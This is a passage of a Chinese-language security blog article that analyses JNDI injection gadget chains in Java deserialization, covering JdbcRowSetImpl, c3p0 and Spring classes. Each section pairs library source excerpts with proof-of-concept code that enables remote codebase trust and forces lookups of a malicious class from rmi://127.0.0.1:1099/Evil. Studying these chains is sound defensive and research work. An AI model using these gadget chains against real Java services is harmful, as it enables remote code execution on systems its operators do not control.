        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

        try {
            jdbcRowSet.setDataSourceName("rmi://ip:1099/Exp_fast");
            jdbcRowSet.setAutoCommit(true);
        } catch (SQLException var3) {
            var3.printStackTrace();
        }
    }

(2)BindingEnumeration

BindingEnumeration
RegistryContext构造函数,第一个参数传入host,第二个参数传入port。恶意类的名称则是通过BindingEnumeration构造函数的第二个参数传入,这样就具备的完整的rmi://ip:port/Evil
    public RegistryContext(String var1, int var2, Hashtable<?, ?> var3) throws NamingException {
        this.environment = var3 == null ? new Hashtable(5) : var3;
        ...
        RMIClientSocketFactory var4 = (RMIClientSocketFactory)this.environment.get("com.sun.jndi.rmi.factory.socket");
        this.host = var1;
        this.port = var2;
    }

测试代码

    public static void main(String[] args) throws SQLException, NamingException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        Hashtable hashtable=new Hashtable();
        RegistryContext registryContext=new RegistryContext("127.0.0.1",1099,hashtable);
        Class c=Class.forName("com.sun.jndi.rmi.registry.BindingEnumeration");
        Constructor constructor=c.getDeclaredConstructor(RegistryContext.class,String[].class);
        constructor.setAccessible(true);
        String[] evil = new String[]{"Evil"};
        Object b=constructor.newInstance(registryContext,evil);
        Method m1=b.getClass().getDeclaredMethod("next");
        m1.setAccessible(true);
        m1.invoke(b);
    }

(3)LazySearchEnumerationImpl
LazySearchEnumerationImplfindNextMatch方法调用了上面的BindingEnumeration.next()

// LazySearchEnumerationImpl

private NamingEnumeration<Binding> candidates;

public SearchResult nextElement() {
        try {
            return this.findNextMatch(true);
        } ...
    }

private SearchResult findNextMatch(boolean var1) throws NamingException {
        SearchResult var2;
        if (this.nextMatch != null) {
            ...
        } else {
            while(this.candidates.hasMore()) {
                Binding var3 = (Binding)this.candidates.next(); //可以进入到BindingEnumeration.next()
                Object var4 = var3.getObject();
                if (var4 instanceof DirContext) {
                    Attributes var5 = ((DirContext)((DirContext)var4)).getAttributes("");
                    if (this.filter.check(var5)) {
                        if (!this.cons.getReturningObjFlag()) {
                            var4 = null;
                        } else if (this.useFactory) {
                            try {
                                CompositeName var6 = this.context != null ? new CompositeName(var3.getName()) : null;
                                var4 = DirectoryManager.getObjectInstance(var4, var6, this.context, this.env, var5);
                            } ...
}

测试代码

    public static void main(String[] args) throws SQLException, NamingException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        Hashtable hashtable=new Hashtable();
        RegistryContext registryContext=new RegistryContext("127.0.0.1",1099,hashtable);
        Class c=Class.forName("com.sun.jndi.rmi.registry.BindingEnumeration");
        Constructor constructor=c.getDeclaredConstructor(RegistryContext.class,String[].class);
        constructor.setAccessible(true);
        String[] evil = new String[]{"Evil"};
        NamingEnumeration b=(NamingEnumeration)constructor.newInstance(registryContext,evil);
        Class c2=Class.forName("com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl");
        Constructor constructor2=c2.getConstructor(NamingEnumeration.class, AttrFilter.class,SearchControls.class);
        Object o2=constructor2.newInstance(b,null,null);
        Method m2=o2.getClass().getDeclaredMethod("nextElement");
        m2.setAccessible(true);
        m2.invoke(o2);
    }

(4)JNDIConfiguration

//JNDIConfiguration

    private String prefix;
    private Context context;
    private Context baseContext;

    public Context getBaseContext() throws NamingException {
        if (this.baseContext == null) {
            this.baseContext = (Context)this.getContext().lookup(this.prefix == null ? "" : this.prefix); 
        }

        return this.baseContext;
    }

    public Context getContext() {
        return this.context;
    }

如果传入的ContextInitialContextprefix参数如果为rmi://ip:port/Evil,即可实现JNDI攻击。测试代码如下:

    public static void main(String[] args) throws SQLException, NamingException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        InitialContext ctx=new InitialContext();
        JNDIConfiguration jndiConfiguration=new JNDIConfiguration(ctx,"rmi://127.0.0.1:1099/Evil");
        jndiConfiguration.getBaseContext();
    }

另外,getKeys调用了getBaseContext方法,在XStream这种反序列化调用链的构造中需要向上寻找调用方法。

public Iterator<String> getKeys() {
    return this.getKeys("");
}

public Iterator<String> getKeys(String prefix) {
    ...
    Context context = this.getContext(path, this.getBaseContext());
}

(5)JndiRefForwardingDataSource
JndiRefForwardingDataSourcedereference方法中的InitialContext.lookup非常明显,只需要将jndiName设为想要的url,jndiName是父类JndiRefDataSourceBase中的属性。

JndiRefForwardingDataSource
测试代码
    public static void main(String[] args) throws SQLException, NamingException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        Class c=Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
        Constructor constructor=c.getConstructor(null);
        constructor.setAccessible(true);
        Object o=constructor.newInstance();
        Field f1=o.getClass().getSuperclass().getDeclaredField("jndiName");
        f1.setAccessible(true);
        f1.set(o,"rmi://127.0.0.1:1099/Evil");
        Method m1=o.getClass().getDeclaredMethod("dereference");
        m1.setAccessible(true);
        m1.invoke(o);
    }

如果考虑调用链,向上寻找调用函数inner()inner()调用dereference()的前提是cachedInner不为空

(6)WrapperConnectionPoolDataSource

WrapperConnectionPoolDataSource
设置属性userOverridesAsString,那么就会在注册listener时,调用parseUserOverridesAsString
parseUserOverridesAsString
该方法会对传入的数据进行反序列化操作,fromByteArray方法的最后包含一步Object.getObject操作。最重要走到的是com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized,该类中具有InitialContext.lookup方法,并且具有getObject方法。那么想要将上述类与其串联,就要求fromByteArray方法中反序列化得到的Object是ReferenceIndirector或者是其底层接口IndirectlySerialized
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized
ReferenceSerialized类测试代码如下,如果要与上述WrapperConnectionPoolDataSource串联,则需要将ReferenceSerialized类对象进行反序列化,并赋值给属性userOverridesAsString
    public static void main(String[] args) throws SQLException, NamingException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
        Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
        con.setAccessible(true);
        Reference jndiref = new Reference("Foo", "Evil", "http://127.0.0.1:1389");
        Object ref = con.newInstance(jndiref, null, null, null);
        Method m1=ref.getClass().getDeclaredMethod("getObject");
        m1.setAccessible(true);
        m1.invoke(ref);
    }

(7)PropertyPathFactoryBean

这个类最终用到的lookupJndiTemplate类中的方法,SimpleJndiBeanFactory则是JndiTemplate的工厂类,也就是说SimpleJndiBeanFactory中的getBean方法可以调用到JndiTemplate。那么也就需要PropertyPathFactoryBeanbeanFactory传入的是SimpleJndiBeanFactory。这样调用链大致是SimpleJndiBeanFactory.setBeanFactory -> SimpleJndiBeanFactory.getBean -> JndiTemplate.lookup
另外,想要执行到PropertyPathFactoryBeangetBean那行,首先targetBeanName和propertyPath都不能为null,另外isSingleton需要为true(即,shareableResource属性中属需要有targetBeanName的值)

// PropertyPathFactoryBean
public void setBeanFactory(BeanFactory beanFactory) {
        this.beanFactory = beanFactory;
        if (this.targetBeanWrapper != null && this.targetBeanName != null) {
            throw new IllegalArgumentException("Specify either 'targetObject' or 'targetBeanName', not both");
        } else {
            if (this.targetBeanWrapper == null && this.targetBeanName == null) {
                if (this.propertyPath != null) {
                    throw new IllegalArgumentException("Specify 'targetObject' or 'targetBeanName' in combination with 'propertyPath'");
                }
                ...
            } else if (this.propertyPath == null) {
                throw new IllegalArgumentException("'propertyPath' is required");
            }

            if (this.targetBeanWrapper == null && this.beanFactory.isSingleton(this.targetBeanName)) { //isSingleton
                Object bean = this.beanFactory.getBean(this.targetBeanName); //getBean
                this.targetBeanWrapper = PropertyAccessorFactory.forBeanPropertyAccess(bean);
                this.resultType = this.targetBeanWrapper.getPropertyType(this.propertyPath);
            }
        }
    }

//SimpleJndiBeanFactory
    public boolean isSingleton(String name) throws NoSuchBeanDefinitionException {
        return this.shareableResources.contains(name);
    }

    public Object getBean(String name) throws BeansException {
        return this.getBean(name, Object.class);
    }

    public <T> T getBean(String name, Class<T> requiredType) throws BeansException {
        try {
            return this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType);
        } ...
    }

    private <T> T doGetSingleton(String name, Class<T> requiredType) throws NamingException {
        synchronized(this.singletonObjects) {
            Object jndiObject;
            if (this.singletonObjects.containsKey(name)) {
               ...
            } else {
                jndiObject = this.lookup(name, requiredType); //lookup
                this.singletonObjects.put(name, jndiObject);
                return jndiObject;
            }
        }
    }

//JndiLocatorSupport
protected <T> T lookup(String jndiName, Class<T> requiredType) throws NamingException {
        ...
        try {
            jndiObject = this.getJndiTemplate().lookup(convertedName, requiredType);
        } ...
    }

// JndiTemplate
    public <T> T lookup(String name, Class<T> requiredType) throws NamingException {
        Object jndiObject = this.lookup(name);...
    }

    public Object lookup(final String name) throws NamingException {
        ....
        return this.execute(new JndiCallback<Object>() {
            public Object doInContext(Context ctx) throws NamingException {
                Object located = ctx.lookup(name);...
            }
        });
    }

测试代码

    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        String jndiUrl="rmi://127.0.0.1:1099/Evil";
        SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
        bf.setShareableResources(new String[]{jndiUrl});
        PropertyPathFactoryBean ppf = new PropertyPathFactoryBean();
        ppf.setTargetBeanName(jndiUrl);
        ppf.setPropertyPath("foo");
        Reflections.setFieldValue(ppf, "beanFactory", bf);
        ppf.setBeanFactory(bf);
    }

(8)PartiallyComparableAdvisorHolder
PartiallyComparableAdvisorHolder最后用到的也是SimpleJndiBeanFactory类,然后调用JndiLocatorSupport、JndiTemplate lookup。调用链大致如下

PartiallyComparableAdvisorHolder.toString()
  AspectJPointcutAdvisor.getOrder()
    AbstractAspectJAdvice. getOrder()
      BeanFactoryAspectInstanceFactory.getOrder()
        SimpleJndiBeanFactory.getType()
          SimpleJndiBeanFactory.doGetType()

调用链相关类的代码如下

// PartiallyComparableAdvisorHolder
public PartiallyComparableAdvisorHolder(Advisor advisor, Comparator<Advisor> comparator) {
    this.advisor = advisor;
    this.comparator = comparator;
}

public String toString() {
    Advice advice = this.advisor.getAdvice();
    ...
    if (this.advisor instanceof Ordered) {
        sb.append(": order = ").append(((Ordered)this.advisor).getOrder());
        ...
    }
}
// AspectJPointcutAdvisor
public int getOrder() {
    return this.order != null ? this.order : this.advice.getOrder();
}

// AbstractAspectJAdvice
public int getOrder() {
    return this.aspectInstanceFactory.getOrder();
}

// BeanFactoryAspectInstanceFactory
public int getOrder() {
    // getType
    Class<?> type = this.beanFactory.getType(this.name);
    if (type != null) {
        return Ordered.class.isAssignableFrom(type) && this.beanFactory.isSingleton(this.name) ? ((Ordered)this.beanFactory.getBean(this.name)).getOrder() : OrderUtils.getOrder(type, 2147483647);
    } else {
        return 2147483647;
    }
}

// SimpleJndiBeanFactory
public Class<?> getType(String name) throws NoSuchBeanDefinitionException {
    try {
        return this.doGetType(name);
    } ...
}

    private Class<?> doGetType(String name) throws NamingException {
        if (this.isSingleton(name)) {
            Object jndiObject = this.doGetSingleton(name, (Class)null);
            return jndiObject != null ? jndiObject.getClass() : null;
        } else {
            synchronized(this.resourceTypes) {
                if (this.resourceTypes.containsKey(name)) {
                    return (Class)this.resourceTypes.get(name);
                } else {
                    // 后续调用JndiLocatorSupport、JndiTemplate lookup
                    Object jndiObject = this.lookup(name, (Class)null);
                    Class<?> type = jndiObject != null ? jndiObject.getClass() : null;
                    this.resourceTypes.put(name, type);
                    return type;
                }
            }
        }
    }

测试代码

public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        String jndiUrl="rmi://127.0.0.1:1099/Evil";
        SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
        bf.setShareableResources(new String[]{jndiUrl});
        AspectInstanceFactory aif = (AspectInstanceFactory)Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
        Reflections.setFieldValue(aif, "beanFactory", bf);
        Reflections.setFieldValue(aif, "name", jndiUrl);
        AbstractAspectJAdvice advice = (AbstractAspectJAdvice)Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
        Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);
        AspectJPointcutAdvisor advisor = (AspectJPointcutAdvisor)Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
        Reflections.setFieldValue(advisor, "advice", advice);
        Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
        Object pcah = Reflections.createWithoutConstructor(pcahCl);
        Reflections.setFieldValue(pcah, "advisor", advisor);
        pcah.toString();
    }

(9)AbstractBeanFactoryPointcutAdvisor
最终同样是调用SimpleJndiBeanFactory.getBean,调用链如下

AbstractPointcutAdvisor.equals()
    AbstractBeanFactoryPointcutAdvisor.getAdvice()
      SimpleJndiBeanFactory.getBean()

调用链相关类具体代码如下

// AbstractPointcutAdvisor
    public boolean equals(Object other) {
        if (this == other) {
            return true;
        } else if (!(other instanceof PointcutAdvisor)) {
            return false;
        } else {
            PointcutAdvisor otherAdvisor = (PointcutAdvisor)other;
            return ObjectUtils.nullSafeEquals(this.getAdvice(), otherAdvisor.getAdvice()) && ObjectUtils.nullSafeEquals(this.getPointcut(), otherAdvisor.getPointcut());
        }
    }

// AbstractBeanFactoryPointcutAdvisor
    public Advice getAdvice() {
        synchronized(this.adviceMonitor) {
            if (this.advice == null && this.adviceBeanName != null) {
                Assert.state(this.beanFactory != null, "BeanFactory must be set to resolve 'adviceBeanName'");
                this.advice = (Advice)this.beanFactory.getBean(this.adviceBeanName, Advice.class);
            }

            return this.advice;
        }
    }

// SimpleJndiBeanFactory
public <T> T getBean(String name, Class<T> requiredType) throws BeansException {
        try {
            return this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType);
        }...
}

SimpleJndiBeanFactory.lookup方法后的参数name需要设为JNDI url地址,也就是说this.adviceBeanName要设置成JNDI url。为了equals能调用到AbstractBeanFactoryPointcutAdvisor,其object参数应传入AbstractBeanFactoryPointcutAdvisor,但是AbstractBeanFactoryPointcutAdvisor是一个抽象类,所以选取其实现类中的一个DefaultBeanFactoryPointcutAdvisor,并且想要调用到getBean那步,要求this.beanFactory!=null。测试代码如下

    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
        String jndiUrl="rmi://127.0.0.1:1099/Evil";
        bf.setShareableResources(new String[]{jndiUrl});
        DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
        pcadv.setBeanFactory(bf);
        pcadv.setAdviceBeanName(jndiUrl);
        pcadv.equals(new DefaultBeanFactoryPointcutAdvisor());
    }

相关文章

网友评论

      本文标题:Java反序列化2—JNDI攻击与工具分析

      本文链接:https://www.haomeiwen.com/subject/gwzsertx.html